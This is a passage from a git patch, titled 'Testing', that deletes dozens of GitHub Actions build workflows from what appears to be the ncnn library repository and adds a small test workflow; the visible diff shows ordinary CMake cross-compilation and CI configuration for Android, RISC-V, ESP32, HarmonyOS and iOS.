From 35bd27680dfb580769225184291a4d180f6b62d9 Mon Sep 17 00:00:00 2001 From: ankushgoel27 Date: Sun, 29 Sep 2024 09:25:46 +0530 Subject: [PATCH] Testing --- .github/workflows/android.yml | 143 - .github/workflows/code-format.yml | 61 - .github/workflows/codeql-analysis.yml | 84 - .github/workflows/elf-riscv32-cpu-gcc.yml | 126 - .github/workflows/elf-riscv64-cpu-gcc.yml | 123 - .github/workflows/esp32.yml | 69 - .github/workflows/harmonyos.yml | 88 - .github/workflows/ios.yml | 167 -- .github/workflows/labeler.yml | 12 - .github/workflows/linux-aarch64-cpu-gcc.yml | 204 -- .github/workflows/linux-arm-cpu-gcc.yml | 206 -- .../workflows/linux-loongarch64-cpu-gcc.yml | 77 - .github/workflows/linux-mips-cpu-gcc.yml | 126 - .github/workflows/linux-mips64-cpu-gcc.yml | 138 - .github/workflows/linux-ppc64-cpu-gcc.yml | 217 -- .github/workflows/linux-riscv64-cpu-gcc.yml | 192 -- .../workflows/linux-riscv64-cpu-gnu-clang.yml | 142 - .github/workflows/linux-x64-cpu-clang.yml | 128 - .github/workflows/linux-x64-cpu-gcc-musl.yml | 67 - .github/workflows/linux-x64-cpu-gcc-san.yml | 42 - .github/workflows/linux-x64-cpu-gcc-sde.yml | 57 - .github/workflows/linux-x64-cpu-gcc.yml | 134 - .github/workflows/linux-x64-gpu-clang.yml | 91 - .github/workflows/linux-x64-gpu-gcc.yml | 127 - .github/workflows/linux-x86-cpu-clang.yml | 67 - .github/workflows/linux-x86-cpu-gcc.yml | 65 - .github/workflows/mac-catalyst.yml | 145 -- .github/workflows/macos.yml | 198 -- .github/workflows/python.yml | 124 - .github/workflows/release-python.yml | 358 --- .github/workflows/release.yml | 2302 ----------------- .github/workflows/sync-wiki.yml | 32 - .github/workflows/test-coverage.yml | 147 -- .github/workflows/test.yml | 12 + .github/workflows/tvos.yml | 184 -- .github/workflows/visionos.yml | 153 -- .github/workflows/watchos.yml | 170 -- .github/workflows/web-assembly.yml | 76 - .github/workflows/windows-arm.yml | 105 - .github/workflows/windows-clang.yml | 85 - .github/workflows/windows-mingw.yml | 57 - .github/workflows/windows.yml | 146 -- 42 files changed, 12 insertions(+), 7235 deletions(-) delete mode 100644 .github/workflows/android.yml delete mode 100644 .github/workflows/code-format.yml delete mode 100644 .github/workflows/codeql-analysis.yml delete mode 100644 .github/workflows/elf-riscv32-cpu-gcc.yml delete mode 100644 .github/workflows/elf-riscv64-cpu-gcc.yml delete mode 100644 .github/workflows/esp32.yml delete mode 100644 .github/workflows/harmonyos.yml delete mode 100644 .github/workflows/ios.yml delete mode 100644 .github/workflows/labeler.yml delete mode 100644 .github/workflows/linux-aarch64-cpu-gcc.yml delete mode 100644 .github/workflows/linux-arm-cpu-gcc.yml delete mode 100644 .github/workflows/linux-loongarch64-cpu-gcc.yml delete mode 100644 .github/workflows/linux-mips-cpu-gcc.yml delete mode 100644 .github/workflows/linux-mips64-cpu-gcc.yml delete mode 100644 .github/workflows/linux-ppc64-cpu-gcc.yml delete mode 100644 .github/workflows/linux-riscv64-cpu-gcc.yml delete mode 100644 .github/workflows/linux-riscv64-cpu-gnu-clang.yml delete mode 100644 .github/workflows/linux-x64-cpu-clang.yml delete mode 100644 .github/workflows/linux-x64-cpu-gcc-musl.yml delete mode 100644 .github/workflows/linux-x64-cpu-gcc-san.yml delete mode 100644 .github/workflows/linux-x64-cpu-gcc-sde.yml delete mode 100644 .github/workflows/linux-x64-cpu-gcc.yml delete mode 100644 .github/workflows/linux-x64-gpu-clang.yml delete mode 100644 .github/workflows/linux-x64-gpu-gcc.yml delete mode 100644 .github/workflows/linux-x86-cpu-clang.yml delete mode 100644 .github/workflows/linux-x86-cpu-gcc.yml delete mode 100644 .github/workflows/mac-catalyst.yml delete mode 100644 .github/workflows/macos.yml delete mode 100644 .github/workflows/python.yml delete mode 100644 .github/workflows/release-python.yml delete mode 100644 .github/workflows/release.yml delete mode 100644 .github/workflows/sync-wiki.yml delete mode 100644 .github/workflows/test-coverage.yml create mode 100644 .github/workflows/test.yml delete mode 100644 .github/workflows/tvos.yml delete mode 100644 .github/workflows/visionos.yml delete mode 100644 .github/workflows/watchos.yml delete mode 100644 .github/workflows/web-assembly.yml delete mode 100644 .github/workflows/windows-arm.yml delete mode 100644 .github/workflows/windows-clang.yml delete mode 100644 .github/workflows/windows-mingw.yml delete mode 100644 .github/workflows/windows.yml diff --git a/.github/workflows/android.yml b/.github/workflows/android.yml deleted file mode 100644 index 4bfa4adc854d..000000000000 --- a/.github/workflows/android.yml +++ /dev/null @@ -1,143 +0,0 @@ -name: android -on: - push: - branches: [master] - paths: - - '.github/workflows/android.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/android.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' -concurrency: - group: android-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - build: - runs-on: ubuntu-latest - env: - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=$ANDROID_NDK_LATEST_HOME/build/cmake/android.toolchain.cmake \ - -DANDROID_PLATFORM=android-21 \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DNCNN_VULKAN=ON \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: armeabi-v7a - run: | - mkdir build-armeabi-v7a && cd build-armeabi-v7a - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="armeabi-v7a" -DANDROID_ARM_NEON=ON .. - cmake --build . -j $(nproc) - - name: arm64-v8a - run: | - mkdir build-arm64-v8a && cd build-arm64-v8a - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="arm64-v8a" .. - cmake --build . -j $(nproc) - - name: x86 - run: | - mkdir build-x86 && cd build-x86 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="x86" .. - cmake --build . -j $(nproc) - - name: x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="x86_64" .. - cmake --build . -j $(nproc) - - - name: armeabi-v7a-shared - run: | - mkdir build-armeabi-v7a-shared && cd build-armeabi-v7a-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="armeabi-v7a" -DANDROID_ARM_NEON=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: arm64-v8a-shared - run: | - mkdir build-arm64-v8a-shared && cd build-arm64-v8a-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="arm64-v8a" -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: x86-shared - run: | - mkdir build-x86-shared && cd build-x86-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="x86" -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: x86_64-shared - run: | - mkdir build-x86_64-shared && cd build-x86_64-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="x86_64" -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - ndk-r16b: - runs-on: ubuntu-latest - env: - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=$GITHUB_WORKSPACE/android-ndk-r16b/build/cmake/android.toolchain.cmake \ - -DANDROID_PLATFORM=android-21 \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DNCNN_VULKAN=ON \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: ndk-r16b - env: - DEBIAN_FRONTEND: noninteractive - run: | - sudo apt-get update - sudo apt-get install -y libncurses5 - wget -q https://dl.google.com/android/repository/android-ndk-r16b-linux-x86_64.zip -O $GITHUB_WORKSPACE/android-ndk-r16b-linux-x86_64.zip - cd $GITHUB_WORKSPACE && unzip -q android-ndk-r16b-linux-x86_64.zip - - - name: armeabi-v7a - run: | - mkdir build-armeabi-v7a && cd build-armeabi-v7a - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="armeabi-v7a" -DANDROID_ARM_NEON=ON .. - cmake --build . -j $(nproc) - - name: armeabi-v7a-no-neon - run: | - mkdir build-armeabi-v7a-no-neon && cd build-armeabi-v7a-no-neon - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="armeabi-v7a" -DANDROID_ARM_NEON=OFF .. - cmake --build . -j $(nproc) - - name: arm64-v8a - run: | - mkdir build-arm64-v8a && cd build-arm64-v8a - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="arm64-v8a" .. - cmake --build . -j $(nproc) - - - name: armeabi-v7a-shared - run: | - mkdir build-armeabi-v7a-shared && cd build-armeabi-v7a-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="armeabi-v7a" -DANDROID_ARM_NEON=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: armeabi-v7a-no-neon-shared - run: | - mkdir build-armeabi-v7a-no-neon-shared && cd build-armeabi-v7a-no-neon-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="armeabi-v7a" -DANDROID_ARM_NEON=OFF -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: arm64-v8a-shared - run: | - mkdir build-arm64-v8a-shared && cd build-arm64-v8a-shared - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DANDROID_ABI="arm64-v8a" -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) diff --git a/.github/workflows/code-format.yml b/.github/workflows/code-format.yml deleted file mode 100644 index c996e51c08e7..000000000000 --- a/.github/workflows/code-format.yml +++ /dev/null @@ -1,61 +0,0 @@ -name: code-format - -on: [push, pull_request, pull_request_target] - -concurrency: - group: code-format-${{ github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - code-format: - permissions: - contents: write # for stefanzweifel/git-auto-commit-action to push code in repo - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: cache-clang-format - id: cache-clang-format - uses: actions/cache@v4 - with: - path: clang-format-install - key: clang-format-install-4 - - name: clang-format - if: steps.cache-clang-format.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-10.0.1/llvm-project-10.0.1.tar.xz - tar -xf llvm-project-10.0.1.tar.xz - cd llvm-project-10.0.1 - mkdir build - cd build - cmake -DCMAKE_INSTALL_PREFIX=install -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF -DLLVM_ENABLE_PROJECTS="clang" -DLLVM_TARGETS_TO_BUILD="" -DLLVM_INCLUDE_EXAMPLES=OFF -DLLVM_INCLUDE_TESTS=OFF -DLLVM_INCLUDE_DOCS=OFF ../llvm/ - make -j2 clang-format - mkdir $GITHUB_WORKSPACE/clang-format-install - cp -r bin/clang-format $GITHUB_WORKSPACE/clang-format-install - cd ../../ - rm -rf llvm-project-10.0.1 - rm llvm-project-10.0.1.tar.xz - - - name: astyle - run: | - sudo apt-get update - sudo apt-get install -y astyle - - - name: code-format - run: | - mkdir -p ~/bin - mv $GITHUB_WORKSPACE/clang-format-install/clang-format ~/bin/clang-format - rm -rf $GITHUB_WORKSPACE/clang-format-install - export PATH=~/bin:$PATH - sh codeformat.sh - - uses: stefanzweifel/git-auto-commit-action@v5 - with: - commit_message: apply code-format changes - - - name: restore-clang-format-cache - run: | - mkdir $GITHUB_WORKSPACE/clang-format-install - cp -r ~/bin/clang-format $GITHUB_WORKSPACE/clang-format-install diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml deleted file mode 100644 index b247bb7fc051..000000000000 --- a/.github/workflows/codeql-analysis.yml +++ /dev/null @@ -1,84 +0,0 @@ -# For most projects, this workflow file will not need changing; you simply need -# to commit it to your repository. -# -# You may wish to alter this file to override the set of languages analyzed, -# or to provide custom queries or build logic. -name: "CodeQL" - -on: - push: - branches: [master] - paths-ignore: ['**.md'] - pull_request: - # The branches below must be a subset of the branches above - branches: [master] - paths-ignore: ['**.md'] - schedule: - - cron: '0 20 * * 4' - -concurrency: - group: CodeQL-${{ github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - analyze: - permissions: - actions: read # for github/codeql-action/init to get workflow details - contents: read # for actions/checkout to fetch code - security-events: write # for github/codeql-action/autobuild to send a status report - name: Analyze - runs-on: ubuntu-latest - - strategy: - fail-fast: false - matrix: - # Override automatic language detection by changing the below list - # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python'] - language: ['cpp'] - # Learn more... - # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection - - steps: - - name: Checkout repository - uses: actions/checkout@v4 - with: - # We must fetch at least the immediate parents so that if this is - # a pull request then we can checkout the head. - fetch-depth: 2 - - # If this run was triggered by a pull request event, then checkout - # the head of the pull request instead of the merge commit. - - run: git checkout HEAD^2 - if: ${{ github.event_name == 'pull_request' }} - - # Initializes the CodeQL tools for scanning. - - name: Initialize CodeQL - uses: github/codeql-action/init@v3 - with: - languages: ${{ matrix.language }} - # If you wish to specify custom queries, you can do so here or in a config file. - # By default, queries listed here will override any specified in a config file. - # Prefix the list here with "+" to use these queries and those in the config file. - # queries: ./path/to/local/query, your-org/your-repo/queries@main - - # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). - # If this step fails, then you should remove it and run the build manually (see below) - - name: Autobuild - uses: github/codeql-action/autobuild@v3 - - # ℹī¸ Command-line programs to run using the OS shell. - # 📚 https://git.io/JvXDl - - # ✏ī¸ If the Autobuild fails above, remove it and uncomment the following three lines - # and modify them (or add more) to build your code if your project - # uses a compiled language - - #- run: | - # make bootstrap - # make release - - - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@v3 diff --git a/.github/workflows/elf-riscv32-cpu-gcc.yml b/.github/workflows/elf-riscv32-cpu-gcc.yml deleted file mode 100644 index 88ec5efb53a7..000000000000 --- a/.github/workflows/elf-riscv32-cpu-gcc.yml +++ /dev/null @@ -1,126 +0,0 @@ -name: elf-riscv32-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/elf-riscv32-cpu-gcc.yml' - - 'toolchains/riscv32-unknown-elf.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/elf-riscv32-cpu-gcc.yml' - - 'toolchains/riscv32-unknown-elf.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' -concurrency: - group: elf-riscv32-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - newlib-rv32imc-gcc: - runs-on: [self-hosted, linux, centos] - steps: - - uses: actions/checkout@v4 - - #- name: cache-riscv - #id: cache-riscv - #uses: actions/cache@v3 - #with: - #path: rv32imc-install - #key: rv32imc-newlib-install-20210425 - - #- name: install-riscv-build-deps - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #sudo apt-get update - #sudo apt-get install autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler - - #- name: checkout-riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-gnu-toolchain - #path: riscv-gnu-toolchain - #ref: b715e4f01b43efef487166f75d5d85d3c33fa7ef - #- name: checkout-riscv-gnu-toolchain-submodules - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #git submodule update --init --recursive --depth 1 riscv-binutils - #git submodule update --init --recursive --depth 1 riscv-gcc - #git submodule update --init --recursive --depth 1 riscv-glibc - #git submodule update --init --recursive --depth 1 riscv-dejagnu - #git submodule update --init --recursive --depth 1 riscv-newlib - #git submodule update --init --recursive --depth 1 riscv-gdb - #- name: riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #./configure --prefix=$GITHUB_WORKSPACE/rv32imc-install --with-arch=rv32imc - #make -j2 - - #- name: checkout-riscv-pk - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-pk - #path: riscv-pk - #ref: ef7bebaf9bf24d3e90bcaae96387ce418e136b6d - #- name: riscv-pk - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-pk - #mkdir build - #cd build - #export PATH=$GITHUB_WORKSPACE/rv32imc-install/bin:$PATH - #../configure --prefix=$GITHUB_WORKSPACE/rv32imc-install --with-arch=rv32imc --host=riscv32-unknown-elf - #make -j2 - #make install - - #- name: checkout-riscv-isa-sim - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-isa-sim - #path: riscv-isa-sim - #ref: 9d4f45c2ebf105503974fc80a42590ca1584c354 - #- name: riscv-isa-sim - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-isa-sim - #mkdir build - #cd build - #export PATH=$GITHUB_WORKSPACE/rv32imc-install/bin:$PATH - #../configure --prefix=$GITHUB_WORKSPACE/rv32imc-install --with-isa=rv32imc - #make -j2 - #make install - - #- name: riscv-strip-install - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: find $GITHUB_WORKSPACE/rv32imc-install -type f | xargs -i strip -g {} || true - - - name: configure - run: export RISCV_ROOT_PATH=/data/action/osd/rv32imc-install && mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/riscv32-unknown-elf.toolchain.cmake -DNCNN_THREADS=OFF -DNCNN_OPENMP=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j 4 - - # too slow for softfloat arch :( - #- name: test - #run: | - #sudo apt-get update - #sudo apt-get install device-tree-compiler - #export PATH=/data/action/osd/rv32imc-install/bin:$PATH - #cd build - #TESTS_EXECUTABLE_LOADER=spike TESTS_EXECUTABLE_LOADER_ARGUMENTS=/data/action/osd/rv32imc-install/riscv32-unknown-elf/bin/pk ctest --output-on-failure -j 2 diff --git a/.github/workflows/elf-riscv64-cpu-gcc.yml b/.github/workflows/elf-riscv64-cpu-gcc.yml deleted file mode 100644 index 0b7c584cbb65..000000000000 --- a/.github/workflows/elf-riscv64-cpu-gcc.yml +++ /dev/null @@ -1,123 +0,0 @@ -name: elf-riscv64-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/elf-riscv64-cpu-gcc.yml' - - 'toolchains/riscv64-unknown-elf.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/elf-riscv64-cpu-gcc.yml' - - 'toolchains/riscv64-unknown-elf.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/riscv/**' - - 'tests/**' -concurrency: - group: elf-riscv64-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - newlib-rv64gc-gcc: - runs-on: [self-hosted, linux, centos] - steps: - - uses: actions/checkout@v4 - - #- name: cache-riscv - #id: cache-riscv - #uses: actions/cache@v3 - #with: - #path: rv64gc-install - #key: rv64gc-newlib-install-20210425 - - #- name: install-riscv-build-deps - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #sudo apt-get update - #sudo apt-get install autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler - - #- name: checkout-riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-gnu-toolchain - #path: riscv-gnu-toolchain - #ref: b715e4f01b43efef487166f75d5d85d3c33fa7ef - #- name: checkout-riscv-gnu-toolchain-submodules - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #git submodule update --init --recursive --depth 1 riscv-binutils - #git submodule update --init --recursive --depth 1 riscv-gcc - #git submodule update --init --recursive --depth 1 riscv-glibc - #git submodule update --init --recursive --depth 1 riscv-dejagnu - #git submodule update --init --recursive --depth 1 riscv-newlib - #git submodule update --init --recursive --depth 1 riscv-gdb - #- name: riscv-gnu-toolchain - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-gnu-toolchain - #sed -i '/__OBSOLETE_MATH/d' riscv-newlib/newlib/libm/common/math_errf.c - #./configure --prefix=$GITHUB_WORKSPACE/rv64gc-install --with-arch=rv64gc - #make -j2 - - #- name: checkout-riscv-pk - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-pk - #path: riscv-pk - #ref: ef7bebaf9bf24d3e90bcaae96387ce418e136b6d - #- name: riscv-pk - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-pk - #mkdir build - #cd build - #export PATH=$GITHUB_WORKSPACE/rv64gc-install/bin:$PATH - #../configure --prefix=$GITHUB_WORKSPACE/rv64gc-install --with-arch=rv64gc --host=riscv64-unknown-elf - #make -j2 - #make install - - #- name: checkout-riscv-isa-sim - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #uses: actions/checkout@v4 - #with: - #repository: riscv/riscv-isa-sim - #path: riscv-isa-sim - #ref: 9d4f45c2ebf105503974fc80a42590ca1584c354 - #- name: riscv-isa-sim - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: | - #cd riscv-isa-sim - #mkdir build - #cd build - #export PATH=$GITHUB_WORKSPACE/rv64gc-install/bin:$PATH - #../configure --prefix=$GITHUB_WORKSPACE/rv64gc-install --with-isa=rv64gc - #make -j2 - #make install - - #- name: riscv-strip-install - #if: steps.cache-riscv.outputs.cache-hit != 'true' - #run: find $GITHUB_WORKSPACE/rv64gc-install -type f | xargs -i strip -g {} || true - - - name: configure - run: export RISCV_ROOT_PATH=/data/action/osd/rv64gc-install && mkdir build && cd build && cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/riscv64-unknown-elf.toolchain.cmake -DNCNN_THREADS=OFF -DNCNN_OPENMP=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_BUILD_TESTS=ON .. - - name: build - run: cmake --build build -j 4 - - name: test - run: | - export PATH=/data/action/osd/rv64gc-install/bin:$PATH - cd build - TESTS_EXECUTABLE_LOADER=spike TESTS_EXECUTABLE_LOADER_ARGUMENTS=/data/action/osd/rv64gc-install/riscv64-unknown-elf/bin/pk ctest --output-on-failure -j 4 diff --git a/.github/workflows/esp32.yml b/.github/workflows/esp32.yml deleted file mode 100644 index ddfb4ae2022d..000000000000 --- a/.github/workflows/esp32.yml +++ /dev/null @@ -1,69 +0,0 @@ -name: ESP32 -on: - push: - branches: [master] - paths: - - '.github/workflows/esp32.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - pull_request: - branches: [master] - paths: - - '.github/workflows/esp32.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - -concurrency: - group: esp32-${{ github.ref }} - cancel-in-progress: true - -permissions: - contents: read - -jobs: - build: - name: ESP32 - runs-on: ubuntu-20.04 - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: Setup Python - uses: actions/setup-python@v5 - with: - python-version: '3.8' - - - name: Install dependencies - run: | - sudo apt-get update - sudo apt-get install -y cmake ninja-build ccache - - - name: Checkout ESP-IDF - uses: actions/checkout@v4 - with: - repository: espressif/esp-idf - path: esp-idf-install - ref: release/v5.3 - - - name: Install ESP-IDF - run: | - cd esp-idf-install - git submodule update --init --recursive - ./install.sh - - - name: Set environment and build NCNN for ESP32 - run: | - source esp-idf-install/export.sh - echo "IDF_PATH=$IDF_PATH" >> $GITHUB_ENV - echo "${IDF_PATH}/tools" >> $GITHUB_PATH - echo "${IDF_PATH}/components" >> $GITHUB_PATH - mkdir -p build-esp32 && cd build-esp32 - cmake -DCMAKE_TOOLCHAIN_FILE="../toolchains/esp32.toolchain.cmake" -DCMAKE_BUILD_TYPE=Release -DNCNN_BUILD_EXAMPLES=OFF .. - make -j 4 - make install diff --git a/.github/workflows/harmonyos.yml b/.github/workflows/harmonyos.yml deleted file mode 100644 index 3b089347392e..000000000000 --- a/.github/workflows/harmonyos.yml +++ /dev/null @@ -1,88 +0,0 @@ -name: harmonyos -on: - push: - branches: [master] - paths: - - '.github/workflows/harmonyos.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/harmonyos.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' -concurrency: - group: harmonyos-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - build: - runs-on: [self-hosted, linux, centos] - - env: - OHOS_NDK_HOME: /data/action/osd/ohos-sdk/linux/native - OHOS_NDK_CMAKE: /data/action/osd/ohos-sdk/linux/native/build-tools/cmake/bin/cmake - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=/data/action/osd/ohos-sdk/linux/native/build/cmake/ohos.toolchain.cmake \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DNCNN_SIMPLEOMP=ON \ - -DNCNN_VULKAN=ON \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - # - name: setup-sdk - # run: | - # cd /data/action/osd - # wget -q https://repo.huaweicloud.com/harmonyos/os/4.1.1-Release/ohos-sdk-windows_linux-public.tar.gz - # tar -xf ohos-sdk-windows_linux-public.tar.gz - # cd ohos-sdk/linux - # unzip -q native-linux-x64-4.1.7.8-Release.zip - - - name: armeabi-v7a - run: | - mkdir build-armeabi-v7a && cd build-armeabi-v7a - ${{ env.OHOS_NDK_CMAKE }} ${{ env.NCNN_CMAKE_OPTIONS }} -DOHOS_ARCH="armeabi-v7a" .. - ${{ env.OHOS_NDK_CMAKE }} --build . -j 4 - - name: arm64-v8a - run: | - mkdir build-arm64-v8a && cd build-arm64-v8a - ${{ env.OHOS_NDK_CMAKE }} ${{ env.NCNN_CMAKE_OPTIONS }} -DOHOS_ARCH="arm64-v8a" .. - ${{ env.OHOS_NDK_CMAKE }} --build . -j 4 - - name: x86_64 - run: | - mkdir build-x86_64 && cd build-x86_64 - ${{ env.OHOS_NDK_CMAKE }} ${{ env.NCNN_CMAKE_OPTIONS }} -DOHOS_ARCH="x86_64" .. - ${{ env.OHOS_NDK_CMAKE }} --build . -j 4 - - - name: armeabi-v7a-shared - run: | - mkdir build-armeabi-v7a-shared && cd build-armeabi-v7a-shared - ${{ env.OHOS_NDK_CMAKE }} ${{ env.NCNN_CMAKE_OPTIONS }} -DOHOS_ARCH="armeabi-v7a" -DNCNN_SHARED_LIB=ON .. - ${{ env.OHOS_NDK_CMAKE }} --build . -j 4 - - name: arm64-v8a-shared - run: | - mkdir build-arm64-v8a-shared && cd build-arm64-v8a-shared - ${{ env.OHOS_NDK_CMAKE }} ${{ env.NCNN_CMAKE_OPTIONS }} -DOHOS_ARCH="arm64-v8a" -DNCNN_SHARED_LIB=ON .. - ${{ env.OHOS_NDK_CMAKE }} --build . -j 4 - - name: x86_64-shared - run: | - mkdir build-x86_64-shared && cd build-x86_64-shared - ${{ env.OHOS_NDK_CMAKE }} ${{ env.NCNN_CMAKE_OPTIONS }} -DOHOS_ARCH="x86_64" -DNCNN_SHARED_LIB=ON .. - ${{ env.OHOS_NDK_CMAKE }} --build . -j 4 diff --git a/.github/workflows/ios.yml b/.github/workflows/ios.yml deleted file mode 100644 index 1908657eb803..000000000000 --- a/.github/workflows/ios.yml +++ /dev/null @@ -1,167 +0,0 @@ -name: ios -on: - push: - branches: [master] - paths: - - '.github/workflows/ios.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/ios.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' -concurrency: - group: ios-${{ github.ref }} - cancel-in-progress: true -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - IOS_DEPLOYMENT_TARGET: '13.0' - ENABLE_BITCODE: 